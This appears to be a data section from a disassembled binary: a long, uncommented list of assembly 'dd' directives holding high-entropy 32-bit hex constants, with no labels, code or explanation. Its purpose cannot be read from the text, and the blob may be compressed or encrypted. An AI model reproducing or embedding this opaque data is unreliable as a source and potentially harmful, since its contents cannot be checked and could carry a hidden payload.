dd 0C0333500h, 43975653h, 0A1155F40h, 4412BBDDh, 0C0EC75Bh dd 0F610718Ah, 0D74CCC1h, 3D86D997h, 0C00B8FA0h, 7E045809h dd 441248ACh, 81834993h, 0CB84028Bh, 8C911258h, 44214BDDh dd 5EB9678Eh, 1113232Fh, 0CB2F9E90h, 6A221E9Ah, 50303302h dd 23D1F7B8h, 0E283CB00h, 4E1C1EFh, 0E1CA4F0Bh, 1B840407h dd 35372A2Dh, 7B7E2683h, 8730E636h, 0E936BA17h, 0FB472E33h dd 3E9C1C0h, 0FD81CF23h, 6005CA0Ah, 1317FE15h, 93C025E8h dd 5474C384h, 583E907h, 0A8100C49h, 0FF0B6704h, 447A17Dh dd 618FBBAh, 0F7790917h, 159020E9h, 0B0582845h, 0FFE1B9F0h dd 0C1237802h, 753D3474h, 1FEC3AAEh, 0C89080Eh, 2842C32Bh dd 0A583473Eh, 0AD2F5F03h, 0D867B675h, 340AC5CFh, 0CB8F0B0Ch dd 4583A858h, 8FC20E1h, 2F98603h, 223E9902h, 0E3112008h dd 0E7CF1AEBh, 0D504C9A7h, 980D370Bh, 42893D3Ch, 81144D0Fh dd 7C64ADD3h, 3D2A1048h, 1FE29C05h, 0D3A8FE1Fh, 9E081B8Ah dd 0B3489D79h, 0F441E35Eh, 181D8EE6h, 0A9271BDDh, 1F521058h dd 37B41B50h, 401C7DB3h, 61DD1144h, 0E8403E07h, 0C6253A23h dd 0EFCB12EFh, 5C150330h, 3A425070h, 904073F6h, 83030D04h dd 0F613FE26h, 412FB11h, 212F711h, 5484EF10h, 0A0DF1A58h dd 4FFFBAA7h, 0E1700DF3h, 25D2641Ah, 16674973h, 75600906h dd 5C4E801Eh, 18249201h, 0E51E3C89h, 8CDCFFBh, 410AA85Ch dd 0E3B661F7h, 162102E0h, 45BE6CD2h, 807E1F6h, 663C1334h dd 312A1662h, 234A12EBh, 2489ECAh, 8C090754h, 71DD5A03h dd 951FE640h, 4452E47Eh, 57532739h, 0E7261C58h, 0B428B21Fh dd 14745B05h, 0AB0B5D84h, 486A40Fh, 0E9F72C58h, 0D86BAABDh dd 8DF61689h, 0E0CE0C70h, 0A471E851h, 0E9FB111Ah, 0FFD50B0h dd 91B7D2E6h, 0C3F101Dh, 6A15C8EAh, 4F501698h, 0E091B822h dd 326AF027h, 8830C823h, 46F98122h, 10586AE8h, 3B2863E9h dd 90853017h, 0DDC082F8h, 801DDC01h, 782A7848h, 8930052Dh dd 0A2817DB1h, 0D7D90277h, 0CEF45DE9h, 6E5241F0h, 7635D820h dd 204AC808h, 2D29EB9Eh, 46902823h, 468E30B8h, 701E8A20h dd 9D0A2079h, 27DA1994h, 3322F5FEh, 3E5902A8h, 2FE3DAA2h dd 847F3DCDh, 0C2CB9455h, 0CA50F366h, 30A4DD70h, 46C8718Eh dd 0F525B58Fh, 0B3D63D7h, 0F70247E8h, 920CAB31h, 4138D59h dd 0FD01F5A1h, 0C8BFBCEh, 668D097Dh, 0EB2B8A8Ch, 73714354h dd 95D33970h, 8AD20260h, 58FA4525h, 0BD4E980Ch, 0B82725DAh dd 808C6203h, 2B1F7D2Bh, 608469C1h, 9ED03E8Bh, 6DD18188h dd 0F81C9FF7h, 43CCC2AFh, 17187902h, 0B5E37548h, 0C799A128h dd 1843A248h, 605566EBh, 6A2F325Eh, 818E4610h, 0CE44FDDBh dd 0A9118A92h, 0B8A85D4h, 0A529C3B8h, 1EF1717h, 5FFF85B9h dd 92847B5Bh, 7F31DDEAh, 84A07393h, 0E4BC61AAh, 642AB274h dd 9FC45F56h, 11351445h, 0AC7A75E5h, 681C84ABh, 283F0DA3h dd 0ED207550h, 237AE0E5h, 0C2E2486h, 2101DFCh, 985CFB4Ah dd 0A49C2A92h, 0E3565E07h dd 0F8A340CFh, 3C74089Fh, 0F1FBE8C2h, 9172BC96h, 59209A43h dd 0DCCBBC7Eh, 0AB12134Bh, 157F0921h, 0C998F23Eh, 0BD1E65C3h dd 0B8C93385h, 30AFE148h, 0C1963BC6h, 0D80E7409h, 3D41083Fh dd 0ED93CF20h, 41943EBh, 3B784CCDh, 2F978A6Bh, 56AC17Bh dd 987516EBh, 1E01109Eh, 30453F0Eh, 0F3F10619h, 5803110Bh dd 76DF62C3h, 0E5D11C0Ah, 85A049F1h, 0FCD90813h, 0EB3634ABh dd 0ACD758A9h, 310E31E8h, 952AFE05h, 0F3D81DBh, 5841A780h dd 920B7417h, 29FE56A8h, 4D81BE50h, 0F003F87Dh, 3909757Fh dd 16AB08FBh, 123CD729h, 7590FF11h, 0B8952A30h, 0BABA7FF8h dd 0DC66C824h, 0EC832735h, 0F9A43117h, 21F7136Bh, 71542B9h dd 590C0CD5h, 6E60EB74h, 0C75D4E58h, 5A954A38h, 564D2C4Ch dd 21A0512Dh, 12902144h, 0AA55E983h, 66190794h, 83900E74h dd 440FC865h, 33570A4Dh, 48C9BEE4h, 0EB736F93h, 0F6337BB6h dd 0DE0C105Eh, 120C65D1h, 380480Bh, 1816832Ch, 4E081A01h dd 89E7EB28h, 0EF5B0EEEh, 5E2299B1h, 8293E445h, 0F6CE6151h dd 0DF82B4FEh, 2729EDF9h, 4DE04416h, 0E423968Bh, 4FC0E51h dd 0BE255066h, 0F0BF090Fh, 2612EE81h, 841834AAh, 985E3089h dd 7DFA9B44h, 2C38FE6Ah, 1B310E21h, 0F4AE2DBh, 4E4FB84Eh dd 257A44A9h, 69AE23C8h, 0BA94DAFh, 0E420155Ch, 47DF6D73h dd 0A0CB3823h, 0C148F6AFh, 0DB0A04B0h, 0E397482Dh, 9BE45D67h dd 0ED100DE4h, 1224D844h, 1B34835Fh, 49946CB5h, 0D4D21254h dd 2171D744h, 0FDF1DEE8h, 0F1DA5D8h, 19EBCA84h, 4BB88124h dd 400B401Ah, 4FE4E87Fh, 0BCD72527h, 190BD6CBh, 4B1F9290h dd 0A588CA00h, 0C81CF009h, 0FC75DCCFh, 6D064DD9h, 0E8B718BFh dd 5802391Eh, 6BEC7718h, 4AB47497h, 0B4A13353h, 50E65C5Fh dd 3F591E4Eh, 0FA1F98B5h, 9B10E450h, 0D0380750h, 5D99E9C3h dd 973E3C02h, 1C3084A1h, 0D07EEB63h, 745965F2h, 148E2C4Fh dd 14DA3269h, 34DC1123h, 0A88FAE1Fh, 0D43D474Dh, 0FBEA0D25h dd 0E11605Fh, 0AFCFF746h, 0CC1ED7Fh, 2DC984E4h, 0C51F375h dd 1E15AABFh, 74240860h, 0E9CA3A0Ch, 148D0E3h, 0F43DCD40h dd 0AA0FBF24h, 0D0D192Ah, 3465F980h, 0AD450A92h, 77ED245Bh dd 38CF481Eh, 93FA6E30h, 4201140Fh, 5640118Ah, 168819CAh dd 854E55F6h, 27A28BEBh, 496E5B72h, 2A5DDFEh, 0FD1B74E6h dd 6638D3DAh, 970C442Bh, 0A4AD84DEh, 1254FC5Dh, 292FA24Ah dd 0D04F1B78h, 8009CD53h, 9A5DD03Dh, 0EC40578Ch, 0A134105Dh dd 0C4851BCCh, 0DB5400AEh, 51C19F0Fh, 388314C2h, 0CA8DE32Dh dd 0E1016303h, 0BD7CE7E8h, 8B38EB82h, 8C827464h, 0CC517544h dd 5E6CB250h, 0EA1DD56h, 41500143h, 0BB3E8392h, 41726863h dd 4CD0038Eh, 0B72F72CAh, 35B65171h, 706598F9h, 0C440F0C6h dd 92147E3Ch, 7F5E570Dh, 32088809h, 0D8A9D044h, 0C0687016h dd 0D38E2A8h, 798195A4h, 89CBC9C8h, 23A42C82h, 51147D9Bh dd 26401FFDh, 974501C6h, 2241CFE1h, 803C3C27h, 794B045Eh dd 0C9DBF705h, 92002D28h, 117C64FBh, 0B00B43BDh, 48F75E99h dd 146FBEFEh, 0DAFB0E1Bh, 0BB0A2F21h, 0D598DB46h, 7ED58D52h dd 0A82E0129h, 561009BBh, 0A1960357h, 83215FD4h, 35A21CACh dd 3B090E44h, 244775C3h, 7343E08h, 6A8BCD8Fh, 80300BC1h dd 0EBDC0777h, 14952469h, 0C1110B8Ah, 326A6F2Ah, 4460C20h dd 0BC34803h, 87C5B4B7h, 8B2A8478h, 75FD0202h, 145C607h dd 0AF017D8Dh, 10E3C14Fh, 2557C920h, 3A488CE8h, 307407C6h dd 1212475Ch, 1D4AF803h, 76111641h, 595AC84Eh, 0E903639Fh dd 85DC4704h, 287D2BF6h, 315ACAFh, 6EBDEF7h, 2F3B083Bh dd 64F6F07Ch, 5D495A53h, 12306ACCh, 0BA995BDFh, 0C58B4021h dd 2BA6D93Ah, 48E324AAh, 194407A8h, 49D8A34Ah, 49160574h dd 0D1249FDh, 44F335D4h, 985350E9h, 2BF8BEBh, 9297BF7h dd 97400D1Bh, 27A8392Ah, 0C13C9C0Fh, 3DD8A888h, 48044017h dd 0A0A39FE0h, 90217C15h, 1D7D2623h, 0B0A96CAh, 0CED84607h dd 1720F93Bh, 94A253FEh, 9AD54125h, 14A2DE3Ch, 8881214h dd 0F7F21064h, 0C6B3455Eh, 0AACE2505h, 67229A9Bh, 0E6258029h dd 0C5A154ADh, 0EE27290Ch, 48E8E22Fh, 0FF2396FEh, 7D162C73h dd 32460D10h, 2C47300Dh, 75660DC3h, 0EDE94E13h, 551A897Eh dd 0E5DFDCE4h, 0A2161854h, 11EB22E2h, 0ED28139Eh, 104129FCh dd 3268FD3Ah, 0E41AD685h, 0E20F31Fh, 329263DBh, 3E95040h dd 80168AF7h, 5E8A24AFh, 3E36765Fh, 0BF57007Eh, 19930520h dd 56B83E39h, 0DF86E828h, 46265B4h, 0DD07DD66h, 921D6E7Eh dd 3480BA6Fh, 0B86A6975h, 14668468h, 0D6030EE8h, 3E56EBC6h dd 815000FBh, 73630B38h, 257E06Dh, 0A1478F5h, 9732468h dd 9A7C0849h, 0B60F1D00h, 0D2522455h, 1CFDC15Eh, 49F23B56h dd 0D1C00C96h, 0EB292074h, 632181Fh, 241B9624h, 65590AE8h dd 3C25BF20h, 182052A6h, 7E800C27h, 8408B5Ch, 0F09090F7h dd 0F0DBA7Ch, 4413B18h, 0DC13AA14h, 0F8CBA07h, 8E80A4BBh dd 0C51E4FC3h, 2F2FA947h, 7E1B507Eh, 0EAA1B056h, 0BE16D151h dd 11084B2Ch, 5A7D48DCh, 0A14821EFh, 0D01BB4E0h, 0BE4785E1h dd 0E881EC37h, 0F82E294Fh, 6800D552h, 0F91C46ADh, 21C2B923h dd 683CB20Bh, 911DDB39h, 456CD114h, 418AC812h, 0F82BF0A4h dd 8AFC8E46h, 1864E357h, 66AC85C2h, 0D88B27CBh, 0EFB12F5Fh dd 31A89E0Fh, 7C7D7FF4h, 0AF047B3Ah, 97D0F077h, 3CEDCFDAh dd 0F41062CFh, 0A18A777Eh, 640173Fh, 4C047886h, 7EF81280h dd 76482A90h, 0D9372427h, 28BA3B45h, 62971AB9h, 9067D30h dd 7F333E39h, 0DEF416E1h, 0A5104B82h, 0EBC2F4A5h, 58BF244Fh dd 53200D5Bh, 812A35AAh, 2565960h, 542C1102h, 6B20ABA5h dd 0B769E914h, 0D9099092h, 870CF60Ah, 90560E8h, 20835B5Dh dd 4A88D015h, 5BF00699h, 13A75647h, 0B5B8D5EBh, 3DBD3197h dd 59C832E4h, 35212B7Ah, 68EB1813h, 0AA5E4C3Dh, 732463BFh dd 85FBFE4Eh, 0E1246DB5h, 86F018ABh, 4F73F81Dh, 437C3E47h dd 7F7C8799h, 8B24F679h, 1941104Eh, 5A61D203h, 65734F4h dd 0A1798026h, 1439F22Dh, 6BF0C083h, 2BEDF896h, 20C26F50h dd 10EA9A01h, 2714C6E7h, 9477A9EBh, 9D47E878h, 804A64A1h dd 8D8A8E78h, 41569E50h, 4E840BFCh, 47A1F104h, 60804B43h dd 0A045E852h, 2275B097h, 2062CF6h, 7B43A0Fh, 0F689BE4Ah dd 1A881D3h, 790A0F46h, 2030DD09h, 44E75EAh, 4B98CAAAh dd 0C8C42AACh, 0C233F78h, 735CDA2Dh, 4B75F273h, 4043BDE4h dd 552C74AFh, 7E0FBF83h, 91774905h, 0F5E20FCDh, 0A10C7C1Ah dd 0F0524448h, 0D70C27A5h, 61575FEAh, 4BFB5214h, 0EBD5C137h dd 0F9DE251Ah, 0D4A5A52Fh, 341348B0h, 0A4551A93h, 0F0343703h dd 0A6EBB71Dh, 0FFAC674h, 0D896421h, 0DFDE3AF7h, 9985D21Bh dd 65882BA7h, 634B45E9h, 0C2203671h, 0B21C4F82h, 21F85B73h dd 30AF4Fh, 9D0192E8h, 792C1DB1h, 32F7249h, 2C8F7F57h dd 0A789E882h, 74A99FD0h, 0F6F2636h, 0F905E857h, 857B4623h dd 0A72B2ACh, 86894028h, 0C73953Bh, 49102A1Eh, 97841370h dd 0EC0718A4h, 81D2747Eh, 0D85938EEh, 1CF27843h, 0D0647D32h dd 7AB4D45Ah, 94A597DCh, 91C4EB4Eh, 0C40D45C2h, 0E412C8C7h dd 0A5DDE010h, 3D514472h, 420F3915h, 0FC5D1615h, 64962AADh dd 0EA1E9566h, 0A751D781h dd 0A56D6433h, 0E83C4841h, 0BDC93C4Fh, 0A92D4FFEh, 0B7681064h dd 27C4D435h, 114A1FFh, 2BA972BDh, 0EB858BE8h, 0AE9213CFh dd 1678E636h, 0C14689D8h, 57A3E467h, 8AE0E77Fh, 3F81097Eh dd 27170E44h, 3C4F7F83h, 1497DD21h, 120A9725h, 323FC539h dd 5DD40A13h, 95905D86h, 0F1EEFB90h, 11FC014Bh, 0FB9D75B5h dd 3F787AC3h, 8C76136Dh, 0A91E0A69h, 2A27E788h, 65F04C36h dd 2DE05FAAh, 0D3045A41h, 0C3487558h, 6B1499E9h, 8F52A16h dd 0E8728A60h, 51107C2Fh, 0E6F61FA7h, 0FB4416E0h, 6884AD95h dd 244888C1h, 99FFEC3Bh, 0B414304Eh, 12AE52BFh, 0E53A1E45h dd 880B2F61h, 852B1214h, 0C1369712h, 0A2E97D22h, 8964891Bh dd 521D8731h, 4C085D85h, 23FC0873h, 31C2E451h, 0D64A0B06h dd 146CE0E4h, 5EF42C4Fh, 7E0F8CA8h, 0F1804FEh, 8B33BE85h dd 0B423A107h, 8BCC014h, 9767EB56h, 560A1834h, 0E83A75C0h dd 4758AEA4h, 12AE298Ch, 0A97E748Dh, 7F0E3404h, 679510FAh dd 0F609429h, 6A4A66EBh, 856C528h, 48517836h, 0A386FA48h dd 3B1B280Eh, 6B0475C5h, 0A87C401Ch, 23475014h, 644736B3h dd 0C205835Ah, 1A621FEBh, 62421E99h, 4B16C44Ch, 9FA96401h dd 49BF5252h, 8894B4Ch, 79C1C459h, 3351CE0Eh, 0AB51F929h dd 4B381B74h, 11920488h, 0FF51AA20h, 0F9EAC670h, 6285D2A3h dd 381D0069h, 760F0C45h, 6F67A995h, 0C056EE15h, 1CFAEF8h dd 80FF516Bh, 7CD285C2h, 6C20B80Dh, 0C229E32h, 0CA720E7Fh dd 0F4E6C15Bh, 51530409h, 0CB8394FFh, 0B82955EDh, 0F46D4011h dd 2FB20EE8h, 0D0A38D83h, 0DD36C07Eh, 5A5E295Dh, 523F3EBh dd 2B90575h, 0ECE8AC20h, 5D44C6A6h, 0C22BFC59h, 1091D60Ch dd 0A1C508F9h, 73CC6EEDh, 41A1B116h, 2707EBD0h, 331F411Fh dd 0E9344097h, 2C220E24h, 564A2851h, 43CF84B0h, 4BF7DA85h dd 78AD6B21h, 0D5FA1AD7h, 3B191349h, 4B7B7BADh, 4E86A2B8h dd 1C5843EDh, 0EB09137Eh, 27780C38h, 7527023Ch, 1F6CDD1Fh dd 8C09CDB1h, 0EFBB5EC5h, 94967090h, 0DD11EB0Bh, 582FE334h dd 0EA4FD470h, 0FE241659h, 0EB811942h, 6F20576Ch, 8C0F46FBh dd 0FEFFA36Fh, 0E10D8A5Bh, 0AB14978Fh, 1434018Ch, 0BAD44CBDh dd 0F663064Eh, 64B0AC3h, 7E01EEF8h, 2AE84601h, 0C3C02421h dd 0A4B8D3Fh, 0CE6DC069h, 3F92D4A7h, 7589D60Ah, 0ED117ABh dd 0C2ABF0B8h, 8D1CBC00h, 119D400Ch, 1280E43Ah, 3CC96BC8h dd 18504D03h, 685A0D06h, 504F85C2h, 89013AD2h, 8D32A04Fh dd 80118C02h, 0FD7C5581h, 2074C440h, 0A1D2BD7h, 456C3D8Dh dd 0F717FAC3h, 374C2AD2h, 48D894F1h, 78068C69h, 0C1EA8B70h dd 53EB9275h, 3B530530h, 850EB05h, 0FF7338A8h, 0F051C872h dd 0B4E22F86h, 88423C39h, 3131110Fh, 11459456h, 750B317Fh dd 63CB6F0Ch, 0E94FEB13h, 0CDEC5B48h, 0AE501C85h, 0AF4E07E2h dd 0F66E56C9h, 1209C89Dh, 3F97B544h, 7F079D09h, 8DFDAAA3h dd 0FC820AFEh, 2FB435DFh, 0CA4BA951h, 7787E00Dh, 0D962BF10h dd 0AE248FD7h, 8C10BA03h, 4FE830F2h, 5F7FA341h, 7C81C2B8h dd 0E8578B5Bh, 0C25CF766h, 2BEE609Fh, 5CE90447h, 789A712h dd 0D8472757h, 0C2F6D9F1h, 0F54168A7h, 0F85C2129h, 0FA50C1DEh dd 1F7AE3DDh, 20951421h, 4DA3CD8h, 8128741Fh, 73D03BD1h dd 0A3AE422h, 0F0037527h, 0EB421BB6h, 0B4EF62F1h, 0DD9AFA12h dd 8C1E914h, 381BBF5Bh, 0B9467EA4h, 47F6022Bh, 7C7D010Ch dd 8357658Fh, 3210D2BAh, 92225521h, 0BBC12B24h, 0C6E9A427h dd 0CCFD8BEAh, 0B76AE306h, 817D4E6Ah, 0FE7FE823h, 0C007C259h dd 0D6E51DD4h, 41EAA345h, 800B73A4h, 0F98B4D38h, 0D471040h dd 0A134EC20h, 3242FC2Fh, 0BB8274Dh, 0C32DC44h, 0C1774239h dd 0C87B4FEAh, 0AE8B0507h, 1F474EC2h, 34676946h, 4B42131Eh dd 0EF1129E9h, 5CB8BBF8h, 6DBA5E0Ah, 0FADEA84Fh, 0F090D46h dd 32117983h, 4BF1C9C1h, 5EAC97B5h, 5731EB91h, 3BFF3345h dd 0F89E4CEFh, 0C4BDF006h, 76148296h, 20502721h, 0B02670F5h dd 6BCFFD53h, 0C1850B64h, 64938053h, 0C7688C1h, 850D33A2h dd 864B3066h, 0D722E76Bh, 91897846h, 0FB8BCE2Bh, 291B6AD6h dd 640FE17h, 0F980098Ah, 14C7AA0Ah, 0D01C6F0h, 0FD448840h dd 958D8C81h, 0CA2B2A41h, 7C02306Bh, 0F8528BCCh, 5E2B3C3Ch dd 0E4285E3h, 8473572Fh, 74C6E090h, 0F428E643h, 3B16F201h dd 0BDE17CC7h, 0F4C1CABEh, 8A517210h, 1482F6BAh, 94F1850Fh dd 74048C20h, 58056A5Fh, 4C754391h, 0A3867A33h, 0E927133Ch dd 529D7480h, 0C7EB4DA0h, 0F4514D8Dh, 906F69DCh, 280BA265h dd 0F844B0D2h, 2DA5A7EBh, 3C219C17h, 8204D95Dh, 19F73DE7h dd 1C2140FAh, 382FD779h, 0CD496A78h, 226C42BCh, 3D89281Ch dd 16EB286Dh, 0E6F05EA0h, 18CCE5B8h, 0E5C98748h, 18962A3Eh dd 74BA0C3Dh, 7BFD4675h, 535B3F01h, 63A74068h, 3E34E271h dd 0B2509D0Ah, 1D14ACC8h, 22EB1024h, 0B4EC4261h, 541C524Ch dd 229C021Ah, 207E8801h, 1F300212h, 0BC107E14h, 30E86165h dd 96FA3836h, 1EA1850Ah, 1D96292Eh, 85B76885h, 0E9854990h dd 0FA9524DEh, 45D37A4Ah, 7D32209Ah, 7A7A0E93h, 932FE8D0h dd 8D7EE1F1h, 50DF4297h, 152EB2D2h, 7E692F80h, 0DF3B09EAh dd 7769735Eh, 1B04D4A2h, 24F64175h, 3854E8E0h, 4CCEFF8Fh dd 0DC84C424h, 134416BCh, 3332EBA6h, 12AF7D2Eh, 0D07A729Bh dd 0C3667425h, 6226B5AEh, 89588E44h, 0F2A14DF5h, 11A6231Bh dd 8B2F50h, 0F73BD83Bh, 0F6320B74h, 25060D45h, 1C647E40h dd 3B4AB2F2h, 1E7F0AD6h, 0F233C8DBh, 8F6D22AEh, 82813E47h dd 9039C865h, 4088A6E4h, 238C36B4h, 0DC148EA0h, 0B4E029D4h dd 25B71290h, 0FDB336DBh, 0B474DF0Ch, 0AFE4CB56h, 9C748A68h dd 31B4A090h, 0EB080475h, 858D5906h, 2206852h, 150AE0B3h dd 49C0717Ch, 3772AF77h, 0E9C68F90h, 6DE6966Ch, 35782099h dd 0A8BC015Fh, 125284C9h, 0BF2C78B5h, 1561877Ah, 5FB8317h dd 609CC8BAh, 2A892A08h, 9A110DE9h, 9CF658CEh, 2710929Fh dd 7AA73B9Fh, 0A50C6A0Ch, 42D53BE2h, 0C8E15450h, 0C1D012E5h dd 8004152Bh, 56D1030Dh, 0F67DCA3Bh, 49341E8Dh, 0B50AB02Bh dd 434ECF90h, 0C60172F2h, 0F7754A0Ch, 35489E8Bh, 0D43D5F22h dd 31AA569h, 8305830Dh, 903D70EBh, 8481132Ch, 913D5D10h dd 4A1084F2h, 0C893433Dh, 3D374185h, 82210F8Dh, 8F3D2404h dd 1084863Ch, 88923D11h, 4A8AC40Ah, 0F56989FFh, 0C4D38684h dd 0CF0B5DB2h, 0FBB4EB5Eh, 7025518Dh, 0E4A4A30Ch, 9F64995h dd 15127722h, 5B74444Ch, 0C324AB5Dh, 8508ED08h, 45881539h dd 0AB856DAh, 48EE7406h, 2E42BEECh, 0C60045C0h, 10390473h dd 8DF53D75h, 85E491Bh, 3B1605B5h, 741309C1h, 147FE062h dd 0E8050B05h, 0A552D3EDh, 1FCC3534h, 22DA02EBh, 63D52575h dd 0BD1096D5h, 11165351h, 13502CF0h, 0EC1E94E8h, 46E6C44Fh dd 3E990CFFh, 10C00D44h, 76203C0Ah, 1ABBFF06h, 6AFA771Bh dd 21045332h, 5E2957E9h, 924EA5Fh, 0B9AD8C5Bh, 0B6108B91h dd 4D48B9A8h, 0C33A5060h, 3C3A1274h, 4701013Dh, 80EBE856h dd 0E86A7375h, 30F7795Ch, 72E5BD89h, 0CC347924h, 0E9EE5B85h dd 60351A1Eh, 0CBE7065h, 0AB0CE809h, 3D508B51h, 1F013842h dd 57553974h, 759DB1E8h, 45598E8Bh, 22943FECh, 9769557Fh dd 39A5F76Bh, 0DD2F4406h dd 0BA0F53AAh, 8F5B2636h, 4EEA113h, 0C3FD03F4h, 5DC97570h dd 0E88530F5h, 2FD68145h, 760C5710h, 500E1E58h, 0EC9FD088h dd 0C35B27F9h, 1C243AF5h, 0D2D320BEh, 8114BE24h, 2092DDA5h dd 48684C77h, 0A3902AA1h, 0FE8B887Bh, 9F2AD89Dh, 3997B3F0h dd 0E3F5333h, 4A104D27h, 0D90ABF34h, 0F708D588h, 91564984h dd 2AA9F52Dh, 0A2842978h, 50D9308Ch, 1CEF864Bh, 2F17E8DAh dd 143241CCh, 2858B648h, 54A30C9Dh, 0CC955B0Fh, 6B059D70h dd 2A83BA14h, 314A5821h, 0C79E4A4Fh, 8C696BB6h, 272828FFh dd 75714237h, 80387624h, 508A449Ch, 0A440013Ch, 2916BFFAh dd 6FDDDBBCh, 3E92DD6h, 0E485013Eh, 108A7180h, 46161588h dd 0D5210C40h, 0DCEEB8Ah, 56B80493h, 1541A37Ch, 1243EB3Ah dd 0CC1F052Ah, 0DA8A400Ah, 328D83FCh, 0C771834h, 0F620CDACh dd 12A68B09h, 0CC4175EEh, 984803D0h, 664B88BCh, 2F8797FFh dd 7C9E0D18h, 0A8E02ADFh, 282C8AD0h, 569F2805h, 4518A05Ah dd 9BD1AC8h, 5D14558Bh, 49080C61h, 468646D8h, 25535C5Ch dd 217AFC40h, 0FC2C1693h, 4B974859h, 7018CA4Bh, 28787CCDh dd 0C1E48D22h, 0EBC28B3Ch, 8709703h, 0A05F90EDh, 0F1F186Dh dd 0CB0C294h, 2F8BEBD1h, 22E04BD3h, 89A4430Eh, 5C06C60Ah dd 0F62FB246h, 8881201Eh, 0DC834AA8h, 0A293E80h, 753F118Bh dd 0D6973A5Bh, 53532EB6h, 6C9E319h, 1CB12032h, 0CD41230Fh dd 4BA2D03h, 5458E997h, 20A631C2h, 0FA217FEh, 8303C801h dd 6E8F2527h, 0D56E7EE5h, 18C5B0BBh, 46ABB41h, 0D53C2DF3h dd 0D2E11033h, 9AF67472h, 0A7564A9h, 0E9B5ABD5h, 44AD1765h dd 2813ED7Bh, 0AD405908h, 0EA3E91D5h, 111C25A1h, 8FE91202h dd 8A81A2DCh, 490C4449h, 0C2509140h, 1E39660Bh, 1CEC7408h dd 18127040h, 7A4F975h, 0C62BF213h, 0D1E3C8BAh, 348FF84Ch dd 5E860640h, 2AF89F08h, 0D7FF3416h, 0EB3B3601h, 33603274h dd 6B824664h, 230B062Ah, 0AA554A3Ah, 4DF6D11Eh, 2B5F9744h dd 20225210h, 42C87E1Dh, 98B1A5Ch, 44AD85DDh, 0EBC39F20h dd 944E9C53h, 8641A64Ch, 7416B20Eh, 12611E3Ch, 0FE1DAAC7h dd 5DAF8F7h, 0DF2BF60Fh, 2CCED636h, 0E9CF81FDh, 0F6168CD0h dd 0BB130BEBh, 9025F605h, 84B70A2h, 0BBA048C7h, 646C5C9Fh dd 0B4D1FB5Bh, 0A52F44ECh, 0AE212F88h, 3B49C2E8h, 33D36644h dd 0A744F71Bh, 0D2161353h, 0F8F1C7DFh, 0BFD22012h, 5D2A8986h dd 801A2A82h, 774A55h, 546C6B7h, 24A1510Ah, 0A8651E2Bh dd 0E2EB151Ch, 0BD4FE28Dh, 7C668989h, 0BE0C34DCh, 1C5ED4A2h dd 43A5A742h, 300C05B9h, 0B8DD838Dh, 4B8F0882h, 0B82E1C45h dd 392877EBh, 7D0D6435h, 9B84BF52h, 8A329018h, 833801E8h dd 890A80ACh, 7F888D07h, 1873C181h, 8126080h, 8B044004h dd 27D2BB0Fh, 0E47DA4C1h, 4A21D6D4h, 842EBB7Ch, 330A49C5h dd 467E38A3h, 0C85703E2h, 0D78A3654h, 2EE2B420h, 75080AC2h dd 30A6A40Bh, 0D1504FE3h, 95CFE4C7h, 43EFDA53h, 1E08890Bh dd 0C3488861h, 0C3834547h, 7CFE3BA8h, 4651BA4Ch, 0D83C03EDh dd 0A3348DFFh, 0DB85D175h, 5C040120h, 6A09B581h, 427658F6h dd 0E448C309h, 0C9F5E4B5h, 0A91B34B3h, 17E89CE7h, 25675757h dd 42E6540Ch, 0D1443E89h, 4E800617h, 0F2531A8h, 9E0A7169h dd 6FFF0817h, 8343200Dh, 297C03FBh, 0B2B9FF9Bh, 572B386Eh dd 445ABC44h, 560315ADh, 58303243h, 0C8973EA7h, 0CB8B08F3h dd 5D5DD2FCh, 40F76122h, 903144DFh, 2A8245AFh, 8A1020C8h dd 43E3F0CBh, 2D734420h, 0EF4087Bh, 498D618Fh, 8F910576h dd 450FBFB8h, 6B815556h, 8C54FF10h, 855E5D18h, 339AA00Bh dd 4D3C6378h, 96EAE853h, 4662C64h, 431A563Dh, 6F083192h dd 0BF20016Ah, 9B419D8Fh, 4223497h, 0CAC9BF3h, 7BA5FF79h dd 349E1B1Dh, 0B8A1EB86h, 5563B7F1h, 15598CBDh, 0FF6A5DA0h dd 0C65280C8h, 79B72F5Dh, 0BD5564E1h, 297B7989h, 501C4119h dd 107B1808h, 0C2CA2544h, 0B0A10598h, 423BB5B9h, 13C90D9Fh dd 843DE42Ah, 0AEC7A95Fh, 0FC682191h, 18E87F8Ch, 1C59A10Bh dd 555925A1h, 1E9D2E9Bh, 5C9D6216h, 0ECA46436h, 6BB097C7h dd 0B184EB8h, 66043BA3h, 0AD23AE0Bh, 0F145ECA8h, 0E6B2F056h dd 963B0314h, 1C27501Bh, 6DAE0170h, 0C886C69Fh, 77E90DE3h dd 0FA81B618h, 182276A3h, 858D13F1h, 0E3A7AE5Ch, 8C9BBD2h dd 7C341811h, 5FE801FEh, 3BB93B88h, 0FF571344h, 840BDE1h dd 0C6797AE8h, 0CC59400Ah, 29763C14h, 6750991Ah, 211927A4h dd 783170Eh, 1F036A1Ch, 853068A6h, 217C5748h, 0EE10167Fh dd 5468EBC8h, 8A095614h, 0A87D1113h, 150D0C57h, 181E1068h dd 0B61987FBh, 0FDD4AA1Ch, 0E90A96F3h, 200A1D87h, 656F1101h dd 28057BE8h, 74A8168Bh, 0AEEB5F84h, 0ABCE11B1h, 9225A31h dd 78DAE836h, 0CF81CB5Fh, 0B2D9F4E4h, 0A5B9F9EEh, 7F90927Fh dd 8DD04A62h, 0F2B9F626h, 7D018B42h, 908D4922h, 0C21280C6h dd 0B9A11C73h, 418DE53Fh, 64F1EB61h, 61F92B87h, 4ACE7C3Ch dd 0EB54D0CCh, 0CF31C3F6h, 0F98120D1h, 0C50B8863h, 63E643EBh dd 7D62E816h, 3A33D062h, 465D3D42h, 895589C7h, 14AF2CD3h dd 1011D1D7h, 1FEBD603h, 7EE7C1E8h, 0CAFCDF27h, 12337B2Fh dd 986F356h, 79527357h, 0C5FFDB85h, 36840931h, 5A55CC3Ah dd 9D1EFCEDh, 1010F4DCh, 0B4C80839h, 78EB5328h, 0F50ACEEBh dd 0F61403A8h, 2C22EEh, 1C89078Bh, 5BC03330h, 0AD601F95h dd 0EE3249F1h, 2B55310Dh, 853CFE38h, 0CCB20792h, 97371350h dd 324CC2DAh, 191FA3BBh, 0F4C82BACh, 10380749h, 3D619D50h dd 0C838343h, 0C033D930h, 46F1911Bh, 6A7351F0h, 0AB1FC1F4h dd 980CC2F0h, 0F944F6EDh, 0EB73E0BDh, 14CF1C2Eh, 0EB93FC3h dd 0FC3D203Dh, 8379C2D0h, 3FB91FE2h, 257401D1h, 4C991C30h dd 15C503FFh, 2B8BFF28h, 0EB5912C9h, 